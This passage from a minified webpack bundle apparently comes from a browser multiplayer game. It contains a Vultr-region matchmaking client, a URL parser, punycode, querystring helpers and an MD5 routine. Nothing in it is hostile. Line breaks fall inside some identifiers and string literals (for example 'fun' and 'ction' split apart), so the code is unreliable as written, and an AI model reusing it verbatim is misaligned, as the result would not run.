longitude: 139.569959
},
"vultr:39": {
name: "Miami",
latitude: 25.7823071,
longitude: -80.3012156
},
"vultr:40": {
name: "Singapore",
latitude: 1.3147268,
longitude: 103.7065876
}
},
s.prototype.start = function(e, t) {
this.callback = e,
this.errorCallback = t;
var n = this.parseServerQuery();
n ? (this.log("Found server in query."),
this.password = n[3],
this.connect(n[0], n[1], n[2])) : (this.log("Pinging servers..."),
this.pingServers())
}
,
s.prototype.parseServerQuery = function() {
var e = i.parse(location.href, !0)
, t = e.query.server;
if ("string" == typeof t) {
var n = t.split(":");
if (3 == n.length) {
var r = n[0]
, s = parseInt(n[1])
, a = parseInt(n[2]);
return "0" == r || r.startsWith("vultr:") || (r = "vultr:" + r),
[r, s, a, e.query.password]
}
this.errorCallback("Invalid number of server parameters in " + t)
}
}
,
s.prototype.findServer = function(e, t) {
var n = this.servers[e];
if (Array.isArray(n)) {
for (var i = 0; i < n.length; i++) {
var r = n[i];
if (r.index == t)
return r
}
console.warn("Could not find server in region " + e + " with index "
+ t + ".")
} else
this.errorCallback("No server list for region " + e)
}
,
s.prototype.pingServers = function() {
var e = this
, t = [];
for (var n in this.servers)
if (this.servers.hasOwnProperty(n)) {
var i = this.servers[n]
, r = i[Math.floor(Math.random() * i.length)];
null != r ? function(i, r) {
var s = new XMLHttpRequest;
s.onreadystatechange = function(i) {
var s = i.target;
if (4 == s.readyState)
if (200 == s.status) {
for (var a = 0; a < t.length; a++)
t[a].abort();
e.log("Connecting to region", r.region);
var o = e.seekServer(r.region);
e.connect(o[0], o[1], o[2])
} else
console.warn("Error pinging " + r.ip + " in
region " + n)
}
;
var a = "//" + e.serverAddress(r.ip, !0) + ":" +
e.serverPort(r) + "/ping";
s.open("GET", a, !0),
s.send(null),
e.log("Pinging", a),
t.push(s)
}(0, r) : console.log("No target server for region " + n)
}
}
,
s.prototype.seekServer = function(e, t, n) {
null == n && (n = "random"),
null == t && (t = !1);
const i = ["random"];
var r = this.lobbySize
, s = this.lobbySpread
, a = this.servers[e].flatMap((function(e) {
var t = 0;
return e.games.map((function(n) {
var i = t++;
return {
region: e.region,
index: e.index * e.games.length + i,
gameIndex: i,
gameCount: e.games.length,
playerCount: n.playerCount,
isPrivate: n.isPrivate
}
}
))
}
)).filter((function(e) {
return !e.isPrivate
}
)).filter((function(e) {
return !t || 0 == e.playerCount && e.gameIndex >= e.gameCount / 2
}
)).filter((function(e)
{
return "random" == n || i[e.index % i.length].key == n
}
)).sort((fun
ction(e, t) {
return t.playerCount - e.playerCount
}
)).f
ilter((function(e) {
return e.playerCount < r
}

));
if (t && a.reverse(),
0 != a.length) {
var o = Math.min(s, a.length)
, c = Math.floor(Math.random() * o)
, l = a[c = Math.min(c, a.length - 1)]
, h = l.region
, u = (c = Math.floor(l.index / l.gameCount),
l.index % l.gameCount);
return this.log("Found server."),
[h, c, u]
}
this.errorCallback("No open servers.")
}
,
s.prototype.connect = function(e, t, n) {
if (!this.connected) {
var i = this.findServer(e, t);
null != i ? (this.log("Connecting to server", i, "with game index",
n),
i.games[n].playerCount >= this.lobbySize ?
this.errorCallback("Server is already full.") :
(window.history.replaceState(document.title, document.title, this.generateHref(e,
t, n, this.password)),

this.server = i,

this.gameIndex = n,

this.log("Calling callback with address", this.serverAddress(i.ip), "on port",


this.serverPort(i), "with game index", n),

this.callback(this.serverAddress(i.ip), this.serverPort(i), n))) :


this.errorCallback("Failed to find server for region " + e + " and index " + t)
}
}
,
s.prototype.switchServer = function(e, t, n, i) {
this.switchingServers = !0,
window.location.href = this.generateHref(e, t, n, i)
}
,
s.prototype.generateHref = function(e, t, n, i) {
var r = "/?server=" + (e = this.stripRegion(e)) + ":" + t + ":" + n;
return i && (r += "&password=" + encodeURIComponent(i)),
r
}
,
s.prototype.serverAddress = function(e, t) {
return "127.0.0.1" == e || "7f000001" == e ||
"903d62ef5d1c2fecdcaeb5e7dd485eff" == e ? window.location.hostname : this.rawIPs ?
t ? "ip_" + this.hashIP(e) + "." + this.baseUrl : e : "ip_" + e + "." +
this.baseUrl
}
,
s.prototype.serverPort = function(e) {
return 0 == e.region ? this.devPort :
location.protocol.startsWith("https") ? 443 : 80
}
,
s.prototype.processServers = function(e) {
for (var t = {}, n = 0; n < e.length; n++) {
var i = e[n]
, r = t[i.region];
null == r && (r = [],
t[i.region] = r),
r.push(i)
}
for (var s in t)
t[s] = t[s].sort((function(e, t) {
return e.index - t.index
}
));
this.servers = t
}
,
s.prototype.ipToHex = function(e) {
return e.split(".").map(e=>("00" + parseInt(e).toString(16)).substr(-
2)).join("").toLowerCase()
}
,
s.prototype.hashIP = function(e) {
return r(this.ipToHex(e))
}
,
s.prototype.log = function() {
return this.debugLog ? console.log.apply(void 0, arguments) :
console.verbose ? console.verbose.apply(void 0, arguments) : void 0
}
,
s.prototype.stripRegion = function(e) {
return e.startsWith("vultr:") ? e = e.slice(6) : e.startsWith("do:") &&
(e = e.slice(3)),
e
}
,
window.testVultrClient = function() {
var e = 1;
function t(t, n) {
(t = "" + t) == (n = "" + n) ? console.log(`Assert ${e} passed.`) :
console.warn(`Assert ${e} failed. Expected ${n}, got ${t}.`),
e++
}
var n = new s("test.io",-1,5,1,!1);
n.errorCallback = function(e) {}
,
n.processServers(function(e) {
var t = [];
for (var n in e)
for (var i = e[n], r = 0; r < i.length; r++)
t.push({
ip: n + ":" + r,
scheme: "testing",
region: n,
index: r,
games: i[r].map(e=>({
playerCount: e,
isPrivate: !1
}))
});
return t
}({
1: [[0, 0, 0, 0], [0, 0, 0, 0]],
2: [[5, 1, 0, 0], [0, 0, 0, 0]],
3: [[5, 0, 1, 5], [0, 0, 0, 0]],
4: [[5, 1, 1, 5], [1, 0, 0, 0]],
5: [[5, 1, 1, 5], [1, 0, 4, 0]],
6: [[5, 5, 5, 5], [2, 3, 1, 4]],
7: [[5, 5, 5, 5], [5, 5, 5, 5]]
})),
t(n.seekServer(1, !1), [1, 0, 0]),
t(n.seekServer(1, !0), [1, 1, 3]),
t(n.seekServer(2, !1), [2, 0, 1]),
t(n.seekServer(2, !0), [2, 1, 3]),
t(n.seekServer(3, !1), [3, 0, 2]),
t(n.seekServer(3, !0), [3, 1, 3]),
t(n.seekServer(4, !1), [4, 0, 1]),
t(n.seekServer(4, !0), [4, 1, 3]),
t(n.seekServer(5, !1), [5, 1, 2]),
t(n.seekServer(5, !0), [5, 1, 3]),
t(n.seekServer(6, !1), [6, 1, 3]),
t(n.seekServer(6, !0), void 0),
t(n.seekServer(7, !1), void 0),
t(n.seekServer(7, !0), void 0),
console.log("Tests passed.")
}
;
var a = function(e, t) {
return e.concat(t)
};
Array.prototype.flatMap = function(e) {
return function(e, t) {
return t.map(e).reduce(a, [])
}(e, this)
}
,
e.exports = s
}
, function(e, t, n) {
"use strict";
var i = n(61)
, r = n(63);
function s() {
this.protocol = null,
this.slashes = null,
this.auth = null,
this.host = null,
this.port = null,
this.hostname = null,
this.hash = null,
this.search = null,
this.query = null,
this.pathname = null,
this.path = null,
this.href = null
}
t.parse = v,
t.resolve = function(e, t) {
return v(e, !1, !0).resolve(t)
}
,
t.resolveObject = function(e, t) {
return e ? v(e, !1, !0).resolveObject(t) : t
}
,
t.format = function(e) {
return r.isString(e) && (e = v(e)),
e instanceof s ? e.format() : s.prototype.format.call(e)
}
,
t.Url = s;
var a = /^([a-z0-9.+-]+:)/i
, o = /:[0-9]*$/
, c = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/
, l = ["{", "}", "|", "\\", "^", "`"].concat(["<", ">", '"', "`", " ", "\r",
"\n", "\t"])
, h = ["'"].concat(l)
, u = ["%", "/", "?", ";", "#"].concat(h)
, f = ["/", "?", "#"]
, d = /^[+a-z0-9A-Z_-]{0,63}$/
, p = /^([+a-z0-9A-Z_-]{0,63})(.*)$/
, g = {
javascript: !0,
"javascript:": !0
}
, m = {
javascript: !0,
"javascript:": !0
}
, y = {
http: !0,
https: !0,
ftp: !0,
gopher: !0,
file: !0,
"http:": !0,
"https:": !0,
"ftp:": !0,
"gopher:": !0,
"file:": !0
}
, k = n(64);
function v(e, t, n) {
if (e && r.isObject(e) && e instanceof s)
return e;
var i = new s;
return i.parse(e, t, n),
i
}
s.prototype.parse = function(e, t, n) {
if (!r.isString(e))
throw new TypeError("Parameter 'url' must be a string, not " +
typeof e);
var s = e.indexOf("?")
, o = -1 !== s && s < e.indexOf("#") ? "?" : "#"
, l = e.split(o);
l[0] = l[0].replace(/\\/g, "/");
var v = e = l.join(o);
if (v = v.trim(),
!n && 1 === e.split("#").length) {
var w = c.exec(v);
if (w)
return this.path = v,
this.href = v,
this.pathname = w[1],
w[2] ? (this.search = w[2],
this.query = t ? k.parse(this.search.substr(1)) :
this.search.substr(1)) : t && (this.search = "",

this.query = {}),
this
}
var b = a.exec(v);
if (b) {
var x = (b = b[0]).toLowerCase();
this.protocol = x,
v = v.substr(b.length)
}
if (n || b || v.match(/^\/\/[^@\/]+@[^@\/]+/)) {
var S = "//" === v.substr(0, 2);
!S || b && m[b] || (v = v.substr(2),
this.slashes = !0)
}
if (!m[b] && (S || b && !y[b])) {
for (var T, I, E = -1, M = 0; M < f.length; M++)
-1 !== (A = v.indexOf(f[M])) && (-1 === E || A < E) && (E = A);
for (-1 !== (I = -1 === E ? v.lastIndexOf("@") : v.lastIndexOf("@",
E)) && (T = v.slice(0, I),

v = v.slice(I + 1),

this.auth = decodeURIComponent(T)),
E = -1,
M = 0; M < u.length; M++) {
var A;
-1 !== (A = v.indexOf(u[M])) && (-1 === E || A < E) && (E = A)
}
-1 === E && (E = v.length),
this.host = v.slice(0, E),
v = v.slice(E),
this.parseHost(),
this.hostname = this.hostname || "";
var P = "[" === this.hostname[0] && "]" ===
this.hostname[this.hostname.length - 1];
if (!P)
for (var B = this.hostname.split(/\./), C = (M = 0,
B.length); M < C;
M++) {
var O = B[M];
if (O && !O.match(d)) {
for (var R = "", j = 0, _ = O.length; j < _; j++)
O.charCodeAt(j) > 127 ? R += "x" : R += O[j];
if (!R.match(d)) {
var U = B.slice(0, M)
, D = B.slice(M + 1)
, L = O.match(p);
L && (U.push(L[1]),
D.unshift(L[2])),
D.length && (v = "/" + D.join(".") + v),
this.hostname = U.join(".");
break
}
}
}
this.hostname.length > 255 ? this.hostname = "" : this.hostname =
this.hostname.toLowerCase(),
P || (this.hostname = i.toASCII(this.hostname));
var F = this.port ? ":" + this.port : ""
, z = this.hostname || "";
this.host = z + F,
this.href += this.host,
P && (this.hostname = this.hostname.substr(1,
this.hostname.length - 2),
"/" !== v[0] && (v = "/" + v))
}
if (!g[x])
for (M = 0,
C = h.length; M < C; M++) {
var H = h[M];
if (-1 !== v.indexOf(H)) {
var V = encodeURIComponent(H);
V === H && (V = escape(H)),
v = v.split(H).join(V)
}
}
var q = v.indexOf("#");
-1 !== q && (this.hash = v.substr(q),
v = v.slice(0, q));
var Y = v.indexOf("?");
if (-1 !== Y ? (this.search = v.substr(Y),
this.query = v.substr(Y + 1),
t && (this.query = k.parse(this.query)),
v = v.slice(0, Y)) : t && (this.search = "",
this.query = {}),
v && (this.pathname = v),
y[x] && this.hostname && !this.pathname && (this.pathname = "/"),
this.pathname || this.search) {
F = this.pathname || "";
var W = this.search || "";
this.path = F + W
}
return this.href = this.format(),
this
}
,
s.prototype.format = function() {
var e = this.auth || "";
e && (e = (e = encodeURIComponent(e)).replace(/%3A/i, ":"),
e += "@");
var t = this.protocol || ""
, n = this.pathname || ""
, i = this.hash || ""
, s = !1
, a = "";
this.host ? s = e + this.host : this.hostname && (s = e + (-1 ===
this.hostname.indexOf(":") ? this.hostname : "[" + this.hostname + "]"),
this.port && (s += ":"
+ this.port)),
this.query && r.isObject(this.query) &&
Object.keys(this.query).length && (a = k.stringify(this.query));
var o = this.search || a && "?" + a || "";
return t && ":" !== t.substr(-1) && (t += ":"),
this.slashes || (!t || y[t]) && !1 !== s ? (s = "//" + (s || ""),
n && "/" !== n.charAt(0)
&& (n = "/" + n)) : s || (s = ""),
i && "#" !== i.charAt(0) && (i = "#" + i),
o && "?" !== o.charAt(0) && (o = "?" + o),
t + s + (n = n.replace(/[?#]/g, (function(e) {
return encodeURIComponent(e)
}
))) + (o = o.replace("#", "%23")) +
i
}
,
s.prototype.resolve = function(e) {
return this.resolveObject(v(e, !1, !0)).format()
}
,
s.prototype.resolveObject = function(e) {
if (r.isString(e)) {
var t = new s;
t.parse(e, !1, !0),
e = t
}
for (var n = new s, i = Object.keys(this), a = 0; a < i.length; a++) {
var o = i[a];
n[o] = this[o]
}
if (n.hash = e.hash,
"" === e.href)
return n.href = n.format(),
n;
if (e.slashes && !e.protocol) {
for (var c = Object.keys(e), l = 0; l < c.length; l++) {
var h = c[l];
"protocol" !== h && (n[h] = e[h])
}
return y[n.protocol] && n.hostname && !n.pathname && (n.path =
n.pathname = "/"),
n.href = n.format(),
n
}
if (e.protocol && e.protocol !== n.protocol) {
if (!y[e.protocol]) {
for (var u = Object.keys(e), f = 0; f < u.length; f++) {
var d = u[f];
n[d] = e[d]
}
return n.href = n.format(),
n
}
if (n.protocol = e.protocol,
e.host || m[e.protocol])
n.pathname = e.pathname;
else {
for (var p = (e.pathname || "").split("/"); p.length && !(e.host
= p.shift()); )
;
e.host || (e.host = ""),
e.hostname || (e.hostname = ""),
"" !== p[0] && p.unshift(""),
p.length < 2 && p.unshift(""),
n.pathname = p.join("/")
}
if (n.search = e.search,
n.query = e.query,
n.host = e.host || "",
n.auth = e.auth,
n.hostname = e.hostname || e.host,
n.port = e.port,
n.pathname || n.search) {
var g = n.pathname || ""
, k = n.search || "";
n.path = g + k
}
return n.slashes = n.slashes || e.slashes,
n.href = n.format(),
n
}
var v = n.pathname && "/" === n.pathname.charAt(0)
, w = e.host || e.pathname && "/" === e.pathname.charAt(0)
, b = w || v || n.host && e.pathname
, x = b
, S = n.pathname && n.pathname.split("/") || []
, T = (p = e.pathname && e.pathname.split("/") || [],
n.protocol && !y[n.protocol]);
if (T && (n.hostname = "",
n.port = null,
n.host && ("" === S[0] ? S[0] = n.host : S.unshift(n.host)),
n.host = "",
e.protocol && (e.hostname = null,
e.port = null,
e.host && ("" === p[0] ? p[0] = e.host :
p.unshift(e.host)),
e.host = null),
b = b && ("" === p[0] || "" === S[0])),
w)
n.host = e.host || "" === e.host ? e.host : n.host,
n.hostname = e.hostname || "" === e.hostname ? e.hostname :
n.hostname,
n.search = e.search,
n.query = e.query,
S = p;
else if (p.length)
S || (S = []),
S.pop(),
S = S.concat(p),
n.search = e.search,
n.query = e.query;
else if (!r.isNullOrUndefined(e.search))
return T && (n.hostname = n.host = S.shift(),
(P = !!(n.host && n.host.indexOf("@") > 0) &&
n.host.split("@")) && (n.auth = P.shift(),
n.host = n.hostname = P.shift())),
n.search = e.search,
n.query = e.query,
r.isNull(n.pathname) && r.isNull(n.search) || (n.path =
(n.pathname ? n.pathname : "") + (n.search ? n.search : "")),
n.href = n.format(),
n;
if (!S.length)
return n.pathname = null,
n.search ? n.path = "/" + n.search : n.path = null,
n.href = n.format(),
n;
for (var I = S.slice(-1)[0], E = (n.host || e.host || S.length > 1) &&
("." === I || ".." === I) || "" === I, M = 0, A = S.length; A >= 0; A--)
"." === (I = S[A]) ? S.splice(A, 1) : ".." === I ? (S.splice(A, 1),
M++) : M &&
(S.splice(A, 1),

M--);
if (!b && !x)
for (; M--; M)
S.unshift("..");
!b || "" === S[0] || S[0] && "/" === S[0].charAt(0) || S.unshift(""),
E && "/" !== S.join("/").substr(-1) && S.push("");
var P, B = "" === S[0] || S[0] && "/" === S[0].charAt(0);
return T && (n.hostname = n.host = B ? "" : S.length ? S.shift() : "",
(P = !!(n.host && n.host.indexOf("@") > 0) &&
n.host.split("@")) && (n.auth = P.shift(),

n.host = n.hostname = P.shift())),


(b = b || n.host && S.length) && !B && S.unshift(""),
S.length ? n.pathname = S.join("/") : (n.pathname = null,
n.path = null),
r.isNull(n.pathname) && r.isNull(n.search) || (n.path =
(n.pathname ? n.pathname : "") + (n.search ? n.search : "")),
n.auth = e.auth || n.auth,
n.slashes = n.slashes || e.slashes,
n.href = n.format(),
n
}
,
s.prototype.parseHost = function() {
var e = this.host
, t = o.exec(e);
t && (":" !== (t = t[0]) && (this.port = t.substr(1)),
e = e.substr(0, e.length - t.length)),
e && (this.hostname = e)
}
}
, function(e, t, n) {
(function(e, i) {
var r;
/*! https://mths.be/punycode v1.4.1 by @mathias */
!function(s) {
t && t.nodeType,
e && e.nodeType;
var a = "object" == typeof i && i;
a.global !== a && a.window !== a && a.self;
var o, c = 2147483647, l = 36, h = /^xn--/, u = /[^\x20-\x7E]/, f
= /[\x2E\u3002\uFF0E\uFF61]/g, d = {
overflow: "Overflow: input needs wider integers to process",
"not-basic": "Illegal input >= 0x80 (not a basic code point)",
"invalid-input": "Invalid input"
}, p = Math.floor, g = String.fromCharCode;
function m(e) {
throw new RangeError(d[e])
}
function y(e, t) {
for (var n = e.length, i = []; n--; )
i[n] = t(e[n]);
return i
}
function k(e, t) {
var n = e.split("@")
, i = "";
return n.length > 1 && (i = n[0] + "@",
e = n[1]),
i + y((e = e.replace(f, ".")).split("."), t).join(".")
}
function v(e) {
for (var t, n, i = [], r = 0, s = e.length; r < s; )
(t = e.charCodeAt(r++)) >= 55296 && t <= 56319 && r < s ?
56320 == (64512 & (n = e.charCodeAt(r++))) ? i.push(((1023 & t) << 10) + (1023 & n)
+ 65536) : (i.push(t),
r--) : i.push(t);
return i
}
function w(e) {
return y(e, (function(e) {
var t = "";
return e > 65535 && (t += g((e -= 65536) >>> 10 & 1023 |
55296),
e = 56320 | 1023 & e),
t + g(e)
}
)).join("")
}
function b(e) {
return e - 48 < 10 ? e - 22 : e - 65 < 26 ? e - 65 : e - 97 < 26
? e - 97 : l
}
function x(e, t) {
return e + 22 + 75 * (e < 26) - ((0 != t) << 5)
}
function S(e, t, n) {
var i = 0;
for (e = n ? p(e / 700) : e >> 1,
e += p(e / t); e > 455; i += l)
e = p(e / 35);
return p(i + 36 * e / (e + 38))
}
function T(e) {
var t, n, i, r, s, a, o, h, u, f, d = [], g = e.length, y = 0, k
= 128, v = 72;
for ((n = e.lastIndexOf("-")) < 0 && (n = 0),
i = 0; i < n; ++i)
e.charCodeAt(i) >= 128 && m("not-basic"),
d.push(e.charCodeAt(i));
for (r = n > 0 ? n + 1 : 0; r < g; ) {
for (s = y,
a = 1,
o = l; r >= g && m("invalid-input"),
((h = b(e.charCodeAt(r++))) >= l || h > p((c - y) / a))
&& m("overflow"),
y += h * a,
!(h < (u = o <= v ? 1 : o >= v + 26 ? 26 : o - v)); o
+= l)
a > p(c / (f = l - u)) && m("overflow"),
a *= f;
v = S(y - s, t = d.length + 1, 0 == s),
p(y / t) > c - k && m("overflow"),
k += p(y / t),
y %= t,
d.splice(y++, 0, k)
}
return w(d)
}
function I(e) {
var t, n, i, r, s, a, o, h, u, f, d, y, k, w, b, T = [];
for (y = (e = v(e)).length,
t = 128,
n = 0,
s = 72,
a = 0; a < y; ++a)
(d = e[a]) < 128 && T.push(g(d));
for (i = r = T.length,
r && T.push("-"); i < y; ) {
for (o = c,
a = 0; a < y; ++a)
(d = e[a]) >= t && d < o && (o = d);
for (o - t > p((c - n) / (k = i + 1)) && m("overflow"),
n += (o - t) * k,
t = o,
a = 0; a < y; ++a)
if ((d = e[a]) < t && ++n > c && m("overflow"),
d == t) {
for (h = n,
u = l; !(h < (f = u <= s ? 1 : u >= s + 26 ? 26
: u - s)); u += l)
b = h - f,
w = l - f,
T.push(g(x(f + b % w, 0))),
h = p(b / w);
T.push(g(x(h, 0))),
s = S(n, k, i == r),
n = 0,
++i
}
++n,
++t
}
return T.join("")
}
o = {
version: "1.4.1",
ucs2: {
decode: v,
encode: w
},
decode: T,
encode: I,
toASCII: function(e) {
return k(e, (function(e) {
return u.test(e) ? "xn--" + I(e) : e
}
))
},
toUnicode: function(e) {
return k(e, (function(e) {
return h.test(e) ? T(e.slice(4).toLowerCase()) : e
}
))
}
},
void 0 === (r = function() {
return o
}
.call(t, n, t, e)) || (e.exports = r)
}()
}
).call(this, n(62)(e), n(12))
}
, function(e, t) {
e.exports = function(e) {
return e.webpackPolyfill || (e.deprecate = function() {}
,
e.paths = [],
e.children || (e.children = []),
Object.defineProperty(e, "loaded", {
enumerable: !0,
get: function() {
return e.l
}
}),
Object.defineProperty(e, "id", {
enumerable: !0,
get: function() {
return e.i
}
}),
e.webpackPolyfill = 1),
e
}
}
, function(e, t, n) {
"use strict";
e.exports = {
isString: function(e) {
return "string" == typeof e
},
isObject: function(e) {
return "object" == typeof e && null !== e
},
isNull: function(e) {
return null === e
},
isNullOrUndefined: function(e) {
return null == e
}
}
}
, function(e, t, n) {
"use strict";
t.decode = t.parse = n(65),
t.encode = t.stringify = n(66)
}
, function(e, t, n) {
"use strict";
function i(e, t) {
return Object.prototype.hasOwnProperty.call(e, t)
}
e.exports = function(e, t, n, s) {
t = t || "&",
n = n || "=";
var a = {};
if ("string" != typeof e || 0 === e.length)
return a;
var o = /\+/g;
e = e.split(t);
var c = 1e3;
s && "number" == typeof s.maxKeys && (c = s.maxKeys);
var l = e.length;
c > 0 && l > c && (l = c);
for (var h = 0; h < l; ++h) {
var u, f, d, p, g = e[h].replace(o, "%20"), m = g.indexOf(n);
m >= 0 ? (u = g.substr(0, m),
f = g.substr(m + 1)) : (u = g,
f = ""),
d = decodeURIComponent(u),
p = decodeURIComponent(f),
i(a, d) ? r(a[d]) ? a[d].push(p) : a[d] = [a[d], p] : a[d] = p
}
return a
}
;
var r = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
}
, function(e, t, n) {
"use strict";
var i = function(e) {
switch (typeof e) {
case "string":
return e;
case "boolean":
return e ? "true" : "false";
case "number":
return isFinite(e) ? e : "";
default:
return ""
}
};
e.exports = function(e, t, n, o) {
return t = t || "&",
n = n || "=",
null === e && (e = void 0),
"object" == typeof e ? s(a(e), (function(a) {
var o = encodeURIComponent(i(a)) + n;
return r(e[a]) ? s(e[a], (function(e) {
return o + encodeURIComponent(i(e))
}
)).join(t) : o +
encodeURIComponent(i(e[a]))
}
)).join(t) : o ?
encodeURIComponent(i(o)) + n + encodeURIComponent(i(e)) : ""
}
;
var r = Array.isArray || function(e) {
return "[object Array]" === Object.prototype.toString.call(e)
}
;
function s(e, t) {
if (e.map)
return e.map(t);
for (var n = [], i = 0; i < e.length; i++)
n.push(t(e[i], i));
return n
}
var a = Object.keys || function(e) {
var t = [];
for (var n in e)
Object.prototype.hasOwnProperty.call(e, n) && t.push(n);
return t
}
}
, function(e, t, n) {
!function() {
var t = n(68)
, i = n(20).utf8
, r = n(69)
, s = n(20).bin
, a = function(e, n) {
e.constructor == String ? e = n && "binary" === n.encoding ?
s.stringToBytes(e) : i.stringToBytes(e) : r(e) ? e = Array.prototype.slice.call(e,
0) : Array.isArray(e) || (e = e.toString());
for (var o = t.bytesToWords(e), c = 8 * e.length, l = 1732584193, h
= -271733879, u = -1732584194, f = 271733878, d = 0; d < o.length; d++)
o[d] = 16711935 & (o[d] << 8 | o[d] >>> 24) | 4278255360 & (o[d]
<< 24 | o[d] >>> 8);
o[c >>> 5] |= 128 << c % 32,
o[14 + (c + 64 >>> 9 << 4)] = c;
var p = a._ff
, g = a._gg
, m = a._hh
, y = a._ii;
for (d = 0; d < o.length; d += 16) {
var k = l
, v = h
, w = u
, b = f;
h = y(h = y(h = y(h = y(h = m(h = m(h = m(h = m(h = g(h = g(h =
g(h = g(h = p(h = p(h = p(h = p(h, u = p(u, f = p(f, l = p(l, h, u, f, o[d + 0], 7,
-680876936), h, u, o[d + 1], 12, -389564586), l, h, o[d + 2], 17, 606105819), f, l,
o[d + 3], 22, -1044525330), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 4], 7, -
176418897), h, u, o[d + 5], 12, 1200080426), l, h, o[d + 6], 17, -1473231341), f,
l, o[d + 7], 22, -45705983), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 8], 7,
1770035416), h, u, o[d + 9], 12, -1958414417), l, h, o[d + 10], 17, -42063), f, l,
o[d + 11], 22, -1990404162), u = p(u, f = p(f, l = p(l, h, u, f, o[d + 12], 7,
1804603682), h, u, o[d + 13], 12, -40341101), l, h, o[d + 14], 17, -1502002290), f,
l, o[d + 15], 22, 1236535329), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 1], 5, -
165796510), h, u, o[d + 6], 9, -1069501632), l, h, o[d + 11], 14, 643717713), f, l,
o[d + 0], 20, -373897302), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 5], 5, -
701558691), h, u, o[d + 10], 9, 38016083), l, h, o[d + 15], 14, -660478335), f, l,
o[d + 4], 20, -405537848), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 9], 5,
568446438), h, u, o[d + 14], 9, -1019803690), l, h, o[d + 3], 14, -187363961), f,
l, o[d + 8], 20, 1163531501), u = g(u, f = g(f, l = g(l, h, u, f, o[d + 13], 5, -
1444681467), h, u, o[d + 2], 9, -51403784), l, h, o[d + 7], 14, 1735328473), f, l,
o[d + 12], 20, -1926607734), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 5], 4, -
378558), h, u, o[d + 8], 11, -2022574463), l, h, o[d + 11], 16, 1839030562), f, l,
o[d + 14], 23, -35309556), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 1], 4, -
1530992060), h, u, o[d + 4], 11, 1272893353), l, h, o[d + 7], 16, -155497632), f,
l, o[d + 10], 23, -1094730640), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 13], 4,
681279174), h, u, o[d + 0], 11, -358537222), l, h, o[d + 3], 16, -722521979), f, l,
o[d + 6], 23, 76029189), u = m(u, f = m(f, l = m(l, h, u, f, o[d + 9], 4, -
640364487), h, u, o[d + 12], 11, -421815835), l, h, o[d + 15], 16, 530742520), f,
l, o[d + 2], 23, -995338651), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 0], 6, -
198630844), h, u, o[d + 7], 10, 1126891415), l, h, o[d + 14], 15, -1416354905), f,
l, o[d + 5], 21, -57434055), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 12], 6,
1700485571), h, u, o[d + 3], 10, -1894986606), l, h, o[d + 10], 15, -1051523), f,
l, o[d + 1], 21, -2054922799), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 8], 6,
1873313359), h, u, o[d + 15], 10, -30611744), l, h, o[d + 6], 15, -1560198380), f,
l, o[d + 13], 21, 1309151649), u = y(u, f = y(f, l = y(l, h, u, f, o[d + 4], 6, -
145523070), h, u, o[d + 11], 10, -1120210379), l, h, o[d + 2], 15, 718787259), f,
l, o[d + 9], 21, -343485551),
l = l + k >>> 0,
h = h + v >>> 0,
u = u + w >>> 0,
f = f + b >>> 0
}
return t.endian([l, h, u, f])
};
a._ff = function(e, t, n, i, r, s, a) {
var o = e + (t & n | ~t & i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._gg = function(e, t, n, i, r, s, a) {
var o = e + (t & i | n & ~i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._hh = function(e, t, n, i, r, s, a) {
var o = e + (t ^ n ^ i) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._ii = function(e, t, n, i, r, s, a) {
var o = e + (n ^ (t | ~i)) + (r >>> 0) + a;
return (o << s | o >>> 32 - s) + t
}
,
a._blocksize = 16,
a._digestsize = 16,
e.exports = function(e, n) {
if (null == e)
throw new Error("Illegal argument " + e);
var i = t.wordsToBytes(a(e, n));
return n && n.asBytes ? i : n && n.asString ? s.bytesToString(i) :
t.bytesToHex(i)
}
}()
}
, function(e, t) {
!function() {
var t =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
, n = {
rotl: function(e, t) {
return e << t | e >>> 32 - t
},
rotr: function(e, t) {
return e << 32 - t | e >>> t
},
endian: function(e) {
if (e.constructor == Number)
return 16711935 & n.rotl(e, 8) | 4278255360 & n.rotl(e, 24);
for (var t = 0; t < e.length; t++)
e[t] = n.endian(e[t]);
return e
},
randomBytes: function(e) {
for (var t = []; e > 0; e--)
t.push(Math.floor(256 * Math.random()));
return t
},
bytesToWords: function(e) {
for (var t = [], n = 0, i = 0; n < e.length; n++,
i += 8)
t[i >>> 5] |= e[n] << 24 - i % 32;
return t
},
wordsToBytes: function(e) {
for (var t = [], n = 0; n < 32 * e.length; n += 8)
t.push(e[n >>> 5] >>> 24 - n % 32 & 255);
return t
},
bytesToHex: function(e) {
for (var t = [], n = 0; n < e.length; n++)
t.push((e[n] >>> 4).toString(16)),
t.push((15 & e[n]).toString(16));
return t.join("")
},
hexToBytes: function(e) {
for (var t = [], n = 0; n < e.length; n += 2)
t.push(parseInt(e.substr(n, 2), 16));
return t
},
bytesToBase64: function(e) {
for (var n = [], i = 0; i < e.length; i += 3)
for (var r = e[i] << 16 | e[i + 1] << 8 | e[i + 2], s = 0; s
< 4; s++)
8 * i + 6 * s <= 8 * e.length ? n.push(t.charAt(r >>> 6
* (3 - s) & 63)) : n.push("=");
return n.join("")
},
base64ToBytes: function(e) {
e = e.replace(/[^A-Z0-9+\/]/gi, "");
for (var n = [], i = 0, r = 0; i < e.length; r = ++i % 4)
0 != r && n.push((t.indexOf(e.charAt(i - 1)) & Math.pow(2, -
2 * r + 8) - 1) << 2 * r | t.indexOf(e.charAt(i)) >>> 6 - 2 * r);
return n
}
};
e.exports = n
}()
}
, function(e, t) {
function n(e) {
return !!e.constructor && "function" == typeof e.constructor.isBuffer &&
e.constructor.isBuffer(e)
}
/*!
* Determine if an object is a Buffer
*
